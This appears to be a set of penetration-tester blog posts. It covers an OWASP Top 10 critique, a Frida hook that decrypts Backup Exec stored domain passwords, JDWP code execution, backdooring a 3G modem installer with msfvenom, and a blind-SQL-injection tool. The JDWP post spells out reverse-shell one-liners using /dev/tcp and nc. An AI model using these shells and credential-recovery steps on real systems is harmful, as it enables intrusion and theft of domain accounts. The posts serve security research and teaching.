OWASP Top 10 is overrated

Author: b

OWASP Top 10 doesn’t need an introduction: it’s certainly the most well-known project of the Open Web Application Security Project (OWASP), referenced by every single presentation, paper, brochure and blog post that is at least slightly related to web application security. 

But unfortunately, according to my experiences, most of the time, OWASP Top 10 is the only thing people can think of, when it comes to (web)app security, even though OWASP and other groups provide materials of much higher professional value. This affects not only for novice programmers, but also people in corporate IT-security teams, and even quite a few security vendors and consultant firms.

In the next sections, I will try to shed light on the misunderstandings around the Top 10, the weaknesses of the project, and reasons why I think it doesn’t fit many purposes it is (ab)used for right now.

Good Definitions

To see what the Top 10 is good for, we can simply take a look at how the Top 10 project defines its goals:

"The goal of the Top 10 project is to raise awareness about application security by identifying some of the most critical risks facing organizations."

This is a very accurate description that deserves some more attention. 

Raising awareness is a really important task that needs to be taken care of. However, raising awareness in itself was never meant to help prevent, identify or solve any problem. The HIV problem is not taken care of by simply telling people that they should only have sex in a safe way (whatever that means…). 

Moving forward we read that the Top 10 helps “identifying some of the most critical risks”. Not all the risks. Not all the critical risks.

All in all, with the Top 10, we may have sneak peak into the problems of the web application security, however, we will definitely not see the big picture. The Top 10 can’t be used as a silver bullet, when it comes to web application security, this is what the creators themselves tell you. Unfortunately, as it turns out, people prefer short, simple lists as the solution for their overly complex problems.

Risk Rating

We are most afraid of “critical” vulnerabilities, and the Top 10 project provides a seemingly good way to put up the fight with them. But what vulnerabilities are critical anyway?

“Top 10-only” people are usually unaware of the fact that OWASP also maintains its own Risk Rating Methodology. This methodology helps us assessing the risk of vulnerabilities by measuring different factors of a potential attack, like its impact on our business or the motivation of the attacker. What we have to keep in mind is that these factors are strongly dependent on the wider context of the application.

The Top 10 is created by measuring the usual impact of some common vulnerability classes. But web applications are difficult (both from security and development standpoints) because they are mostly developed “from scratch” (hopefully at least based on some kind of framework…) to meet the custom specifications of the customer. Business processes of big companies are run through series of independent webapps developed by different companies on different platforms at different times.  Apart from the vulnerabilities arising from the interaction of these components (which are obviously not covered in the Top 10) assessing the severity of even the simple-looking issues can be far from obvious, if you take the application context into account.

How severe is an SQL injection issue in an application with similar functionality to that of phpMyAdmin? Have you ever tried exploiting an SQL injection issue with a 10 char input limit? How often would you associate critical impact to an open redirect issue (No. 10 in Top 10 2013)? Are insecure file uploads (which usually result in RCE) even covered by the Top 10?

For the uninitiated reader, the Top 10 could suggest that the severity of security vulnerabilities can be measured merely by some of their technical properties; this contradicts the basic considerations of any serious security concept. The truth is that the Top 10 is about the web applications in general, and not about your web application.

Bad Definitions

 You could assume after the honest and clear self-definition of the project that it will at least provide you with a useful classification for the vulnerabilities you can encounter. But it is not. Some examples:

If we create a big set of injection problems (A1) and say that “injection occur when untrusted data is sent to an interpreter as part of a command or query” why don’t we drop XSS (A3) in the bag also? I can think of the browser as an interpreter and HTML tags or embedded scripts as its commands. 

Isn’t the presence of insecure direct object references (A4) imply the  lack of function level access control (A7)?

Can’t we just think about every single security issue as Security Misconfiguration (A5)?

I suspect that in order to raise awareness about some undoubtedly important issues, the Top 10 team tried to include too many things in this short 10 element list. As a result, the classification became unclear and instead of shedding light on fundamental issues, it left its readers alone to fight the complexity of application security.

A developer friend of mine asked me the other day, if I could point him to some useful resources about web application security. First, I wanted to give him a list including the OWASP Top 10, but then I decided not to, because I didn’t want to proivde him a confusing material at the very first step on his way in security.

Some common misunderstandings

Finally I would like to answer some common questions regarding the above thoughts and the Top 10 in general:

– “You are bashing OWASP”

– I’m not bashing OWASP. I’m only bashing the Top 10 project and those who are lazy enough to see it as a comprehensive solution for their appsec problems. I’m actually an admirer of OWASP, and use their fine materials every single day. I also do respect the work of the Top 10 project members, and I’m open for discussions about how we could make things better.

– “At least the Top 10 gives us a QA baseline to hold on to”

– The Top 10 is never meant to be a baseline for anything (there is even a separate OWASP project for that). A baseline should be something that you can enforce/verify, but the Top 10 doesn’t give you anything to do such things (other OWASP projects can help you, though). You should also consider if such baseline could ever be created, taking the high diversity of web applications into account. 

– “The Top 10 gives you all the references to really useful materials”

This is true, and this is what I find most valuable in the project. But people are lazy and tend to ignore those materials. Why would someone waste the time on learning robust development methodologies and frameworks, when he can solve all his problems by “using bind variables in all prepared statements and stored procedures, avoiding dynamic queries”? And although the Top 10 encourages its readers to “Don’t stop at 10”, they actually do, because  it is always easier to check the items of a list than to think through the problem we are facing. 

OWASP Top 10 can be a good starting point for less tech-savvy people (like journalists), but it shouldn’t be thought of as a piece of professional material. I hope an audience that has already got familiar with the Top 10 will also find the more valuable materials of OWASP which could effectively help creating and maintaining more secure systems.

Update: Here are some links to other OWASP projects which can give you more useful guidance to deal with web application security:

From Read to Domain Admin – Abusing Symantec Backup Exec with Frida

Author: b

Symantec (formerly Veritas) Backup Exec is one of my all-time favorites in pentest projects: it has a very nice list of vulnerabilities ranging form basic stack overflows through a hardcoded password to arbitrary file reads. Although most of these vulnerabilities aren’t new, some users tend to accept the risk of running unsupported versions because purchasing the new releases isn’t cheap. But this is not the best part from an attackers perspective.

Backup Exec is a backup software (surprise!) that by definition needs access to the most important parts of the domain (why would you backup something you don’t care about?), so as you get access to a Backup Exec instance theoretically you also get access to the most important data on the network. In practice all Backup Exec installations I  encountered had domain administrative access granted.

But how exactly can we escalate our privileges from a single Backup Exec instance?

My most recent “date”  with Backup Exec turned out a bit unusual. The software itself was the most recent version with all publicliy known bugs patched, but on the same host there was another “enterprice level” application that granted me limited file read rights through a pretty dumb vulnerability.

Since I didn’t have broad permissions and I didn’t know anything about the filesystem, I couldn’t access any interesting configuration files, password dumps or other precious loot. But I knew, my old lady is listening at port 10000, so I started to enumerate the default files of Backup Exec.

This software uses  MS SQL Server to store all the information required to perform backup and restore, but unfortunately the database files were inaccessible by my user. However the database backup located at <BackupExec Dir>\data\bedb.bak was readable!

So I grabbed the file and read Symantec’s documentation about the DB recovery process. After incrementing the infamous Lamer Counter a couple of times (#ProTip: if you use cURL to download something, don’t forget to remove the HTTP response headers from the output) I realized that this .bak file is just a standard MS SQL backup that you can parse with any SQL Server instance. 

In the recovered database you will find a table called LoginAccounts that contains all the domain usernames and passwords that were configured by the administrators of the system, to let BE access different hosts on the network. The trick is that the passwords are in some custom weird form that you can’t easily decipher.

Reversing the custom encryption

When you encounter a similar situation, you first have to figure out if the algorithm that produced the weird ciphertext depends on some configurable key. If it does, you’re probably out of luck, but if it doesn’t, your chances are good to recover some meaningful data in finite amount of time. 

I installed two separate instances of Backup Exec and configured two accounts with the same password. Then I queried the password on both instances to see if they are the same. Since the passwords are stored in an NVARCHAR (multibyte) field but the actual value is simple printable ASCII as the result of a simple SELECT you’ll get a bunch of not printable/alien characters which are hard to handle so you better cast to varbinary. But beware, the encrypted passwords are several hundred bytes long, and MSSQL truncates them by default so you have to use a query like this:

SELECT cast(AccountPassword as varbinary(1024)) FROM LoginAccounts;

Sample result after unhexlify:


 The ciphertexts were same which meant that there was no installation specific secret in my way. Great!

Backup Exec needs to access the plaintext data, so there has to be a decryption function somewhere. Since there are tons of executables and libraries included with the software, first I ran a fast script hoping I can find some helpful exports:

find . -name '*.dll' -exec strings -f {} \; | fgrep -i decrypt

The developers were kind enough with me, the output showed that bemsdk.dll exports a lot of interesting methods:


CBemLoginAccountX::Decrypt seems particularly interesting, let’s take a look at it in IDA:

As you can see, this method calls CEncrypt::Decrypt(wchar_t,wchar_t). It looks straightforward to LoadLibrary() this DLL in a small wrapper program and call CEncrypt::Decrypt() with the parameters dumped from the DB. But if you take a closer look, you can also see that depending on the object state the encrypted data may first run though a simple loop that uses a possibly dynamically constructed memory reqion (dirty_bastard on the pic) to transform the ciphertext before the actual encryption happens. I can reuse the Decrypt methods, but only after this region is constructed, so I turned to dynamic analysis.

My first night with Frida

I tried to attach a debugger to the management application (BkupExec.exe). First time I failed because the process was protected by a service called bedbg.exe, but killing it made it possible to attach with a debugger. But BkupExec.exe is a .NET application that uses bemsdk.dll thourh a wrapper assembly (bemsdkwrapper.dll) and my debugger became useless, because of all the dynamic memory magic performed by the process.

Luckily, at this time I’ve already took a look at Frida.RE, and although I’ve never used it before, it seemed like a good fit for this job. The concept was simple: hook CDecrypt::Decrypt(), replace its first argument with the ciphertext to be decrypted, wait for the method to finish and read the output buffer (second argument). Here’s the final code:

Interceptor.attach(ptr("0xdeadbeef"), { // address of CEncrypt::Decrypt()
	onEnter: function(args) {
		send("Decrypt (Before): ",Memory.readByteArray(args[0],697));
		args[0]=Memory.allocAnsiString("ciphertext"); // Your ciphertext here
		send("Decrypt (After): ",Memory.readByteArray(args[0],697));
	onLeave:function(retval){send("Leave: "+Memory.readUtf16String(this.x));}

But the road that led me here wasn’t exactly straight.

First of all, I needed a way to trigger the password decryption somehow. I could theoretically fire a call to the decryption function myself but I couldn’t figure out a way to get the address of the newly created LoginAccountX instances (the question is still open at StackExchange). Luckily I found a way to trigger this action from the GUI: when creating new backup jobs, the management application checks if it can access the resource to be backed up using the default Login Account.

But my original script didn’t work.

The first problem was with character encodings (there is always a problem with the character encodings): the implementation of wchar_t is platform dependent; in my case, the output buffer turned out to be readable as a UTF-16 string, which was the last thing for me to try out. Also, I had to realize that although the API defines the ciphertext parameter as a wchar_t string, it has to be provided in simple ASCII. The lesson is when experimenting with Frida, always use Memory.readByteArray() first, implicit conversations of the V8 engine and your API (Python in my case) can mess things up badly.

Second, I used the create_script() method of the Python API to provide a JavaScript script as a string to Frida to run. This wasn’t the best idea, since my ciphertext contained backslashes, which need to be double-escaped in order to pass through both the Python and the JavaScript interpreters. I spent hours on figuring this out, LC++;

But finally my hook script was able extract the plaintext passwords for the Domain Administrator account (and several others).

Exploitation in Practice

Repeating the process is a bit time consuming:

  1. Grab a copy of bedb.bak
  2. Import the DB backup to an MS SQL database
  3. Copy the encrypted passwords
  4. Install Backup Exec (trial is available from Symantec)
  5. Install Frida.RE
  6. Get the address of the Decrypt() export
  7. Replace the appropriate parameters and attach to the BkupExec process with the above script 
  8. Trigger decryption by adding a new backup job

But it’s totally worth it: with read-only access on a BackupExec server (e.g. CVE-2005-2611)  you can get plain text user accounts (probably with high privileges). 

The dynamic analysis revealed, that you can also simply build a wrapper program around bemsdk.dll, since the problematic section of code is not called during the standard execution. I still find the Frida.RE way more convenient though.

I have to emphasize that this is not a vulnerability in Symantec’s product, but administrators should keep in mind that their passwords for backup accounts are stored in fully reversible form (equivalent to plaintext).

JDB tricks to hack Java Debug Wire

Author: b

During a recent project we found a Java Debug Wire Protocol interface open at a server. I was a bit surprised when I was able to attach to it using JDB, the Java debugger – this was too easy. Or was it?

Prdelka has a pretty decent write-up on the exploitation over JDWP: you can basically instantiate any class from the classpath (and you can set the classpath yourself with the -D switch of jdb) and luckily you can also directly call the exec() method of the java.lang.Runtime class practically achieving remote code execution. It goes like this:

print new java.lang.Runtime().exec("ls")
 new java.lang.Runtime().exec("ls") = "java.lang.UNIXProcess@481adc30"

Well, that’s great, how about getting the output back or even an interactive shell maybe? That’s when things go painfully Java.

If you open the documentation of JDB you don’t see too much features to work with: a handful of commands, no scripting support and as it turns out the expression syntax  is also undocumented.

After a bit of experimenting you’ll find that although you can instantiate classes and call their methods, there is no easy way for storing the actual object instances which is pretty bad since Java requires a ton of boilerplate code for pretty much every basic operation. For example getting back one line of exec() output looks like this:

print new java.lang.String(new java.io.BufferedReader( \
new java.io.InputStreamReader( \ 
new java.lang.Runtime().exec("id").getInputStream())).readLine())
 new java.lang.String(new java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.Runtime().exec("id").getInputStream())).readLine()) = "uid=1000(b) gid=1000(b) groups=1000(b)"

Still, I couldn’t figure a way to put this whole thing in a loop to read more lines. What about getting a reverse shell and getting rid of all the InputStream handling? Netcat was available on the target but without the -e option (aka GAPING_SECURITY_HOLE) enabled. There are of course a ton of other options to achieve the same result, but they all require either shell stream redirection or at least quoting. Since Runtime.exec() passess the commands directly to the OS, shell syntax doesn’t work immediately and also quotation marks are handled in a rather weird way by the JDB shell, so things like exec(“bash -c \”your > command\””) don’t work as expected. 

One possible solution to come over these limitations is to write out a shell script and then invoke it:

print new java.io.PrintWriter(new java.io.PrintWriter("/tmp/S2.sh"),true).println("bash -i >& /dev/tcp/ 0>&1")

Note that since you can’t close() the PrintWriter instance you have to enable automatic flush that actually requires a PrintWriter instance to be wrapped by an other one…

The more elegant solution is to use Runtime.exec(String[]) interface and let the API take care of quotation. The problem is that it seems you can’t simply declare an array in the jdb shell. Luckily though you can invoke the split() method on a freshly instantiated String object:

print new java.lang.Runtime().exec(new java.lang.String("bashS2-cS2mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 4444 >/tmp/f").split("S2"))

So we successfully got our interactive shell with the privileges of the application server. Also, by this time PZ got root in a totally different way on the same server, more about that in a later post :)

If you know other useful tricks for JDB, don’t hesitate to share it in the comments!

Banging 3G rocks

Author: b

I’ve always wanted to take a look at the security of 3G modem sticks but as a more “high-level” guy, I basically procrastinated the task of messing with kernel drivers and such, and settled to installing these devices into disposable virtual machines for security. 

But after I saw the presentation of Nikita Tarakanov about the modems of Huawei (slides here) I realized that many interesting things can be found out by using rather simple techniques. So I grabbed the first stick in sight and started to investigate how the userland part of its installed software works.

The stick is an ONDA Communications MF195 (product of ZTE), provided by T-Mobile. It works pretty well with Windows and OS X, unfortunately for me, I couldn’t get it to work under Linux :(

As it turns out, the situation with ZTE is quite similar to Huawei, in that they both have issues with file permissions. The installed software has numerous configuration options for external URL’s, for example, here is the content of [SW home]/Bin/UpdateCfg.ini:


And yes, this file is writable by any user, along with the main executable that is started at every login with the privileges of the logged in user creating a trivial way for local user impersonation or privilege escalation:

The “Rendszergazdák” group is the equivalent of “Administrators” in Hungarian Windows versions

We have to note though, that this is still better than Huawei’s ouc.exe that is also “world” writable and runs as a SYSTEM service…

After these little games I started to wonder if I could backdoor the stick by changing the installer. I used a different stick, an out of use ZTE K3570-Z from Vodafone for this task, because I felt that I could easily brick the MF195 which I use regularly.

The task sounds trivial: the device shows up as a USB CD-ROM drive when plugged in without the proper drivers installed, so all we have to do is to change the contents of this virtual optical drive.

But there are some problems: first of all, installation fails most of the time even with the original software that makes testing really painful. The filesystem is iso9660 that is read-only by design, so we have to first repack the FS contents before reflashing, but this should be a trivial task. The biggest problem is to force the OS to write something to a device that it knows to be a read-only CD-ROM. For this task I had to use the dc-unlocker tool that is proprietary, pirate-ish and needs paid registration (unless you find some “demo” codes on the web, that you obviously wouldn’t want to do…), so a more open solution for this would be highly appreciated.


I managed to take the fail train for about an hour because I didn’t read the instructions on the screen, so if you plan to do similar things yourself, spare yourself some time and RTFM. The COM port settings can be figured out from the device manager after the drivers are loaded, and you may also need to enable the diagnostics port using the menu option of the Unlock tab of the dc-unlocker.

 I could extract the installer image using dd, mounted the image as a loop device, changed a few things for a proof-of-concept, then created a new image using mkisofs that I wrote out using dc-unlocker (the Flash writing feature is free). In order to get the stick work again, you have to disable the diagnostics port after the new image is written out.

This way I managed to place arbitrary contents on the virtual drive of the stick. I used msfvenom to plant custom payload into the original installer so keeping the whole device working. Since the binaries supplied by the vendor/service provider is not digitally signed this change wouldn’t be noticed by the victim in a real situation.

Aside from satisfying my curiosity, this method could be used to create more convincing baits for social engineering projects, and solving the problem of potential network restrictions in one shot.

Also a malware could ensure its persistence by maintaining a copy of itself on the attached USB modems. The hard part of this latter case is that rewriting the image on the stick takes quite long (a typical image is written out in around 10 minutes), and different hardware would probably need different infection methods.

While I don’t find the discussed vulnerability particularly dangerous, portable cellular modems are great examples of the tendency that we blindly trust every hardware – no matter how easily it can be backdoored – if it has a nice casing with a vendor logo printed on it.

If you managed to extract some interesting info about your modems don’t hesitate to share it with us in the comments!


Duncan – Expensive injections

Author: b

During a web application test one of the most precious bugs you can find is a good-old SQL injection: These vulnerabilities can lead you to bypass all the security controls of the application, elevate your privileges and find new (possibly vulnerable) functionality and in the end take control over the entire database server and possibly pivot your attack to the depths of the target network.

Fortunately for the application operators SQL injection vulnerabilities are not that easy to come by thanks to the roboust development frameworks and smart testing tools. That being said, these vulnerabilities are here to stay, although many times you can only discover them the hard manual way hidden deep inside some complex feature. After the discovery, exploitation can be more painful, since information emitted by the database often disappears as it goes through the layers of the application, leaving you with a fully blind scenario. And although there are great generic tools (like SQLmap or SQLninja) to retreive meaningful information by gaining advantage of these bugs, there are many cases when configuring or even patching your favorite software takes more effort in the end than writing your specific exploit from scratch.

But we, computer people are lazy and hate to reinvent the wheel every time we stumble upon some exotic injection not to mention the debugging frenzy that a speed-coded search algorithm or a multi-threaded program can cause.

This is why I created Duncan (named after the blind, weak but loyal attendant of the Prince of Thieves) that is a simple but powerful Python program skeleton/module that saves you the work with the most daunting tasks of SQLi exploit development: it takes care of threading, implements tested search algorithms and provides a convenient command line interface (that might be an oxymoron…) for configuration. You only have to implement one single method that checks for the value of a character of a custom query result (typically this can be done in 5-8 lines of code) and you can start looting, Duncan takes care of everything else.

Good old Duncan

Time == Money

Among the simple blind injection – that was really just an exercise to clean the rust off the coder part of my brain – I also wanted to support time-based injections, which may look identical to a standard blind injection but there might be a catch:

While typical blind injections are usually exploitable through some kind of 1-bit information leak and are basically identical to the well-known number guessing game, time based injection has an interesting property, namely that you have to “pay some price” (spend considerable amount of time) every time you guess (in)correctly. Optimizing an exploit to minimize this cost sounded like a fun idea to play with, so I brought up the topic at Camp0 where we created a simple test program and some proof of concept algorithms (the algorithms are named after my participating friends, CJ and Synapse – kudos to them!).

We concluded, that as the set of possible guesses shrink, linear search gets more  beneficial than binary since in the former case the number of expensive guesses is constant (but you have to make more cheap requests overall), while in the latter case we can expect that the number of expensive requests will be proportional to the logarithm of the set size (but we have to make fewer requests overall).

So basically both implemented algorithms fall back to linear search under different conditions related to the set size and the ratio of the costs of the correct/incorrect guesses.

This works pretty well in model implementations, saving 20-30% time in average so I decided to implement a similar algorithm in Duncan too.

Unfortunately as it turned out optimizations only made a (positive) difference in some unlikely edge cases and implementing some simple auto-tuning mechanism for timing could have much bigger benefits. Luckily Duncan allows you to implement such more advanced algorithms pretty easily :)

Update 2017.01.03: After 3 years, Erick Wong from Mathematics Stack Exchange provided us with a comprehensive answer to this problem. As it turned out, “the optimized algorithm can yield significant performance gain in case the penalty is big (e.g. querying a large dataset)”

So feel free to use Duncan in your own pentest projects or experiment with more advanced algorithms, the source code along with some implementation and usage examples are available in our GitHub repository.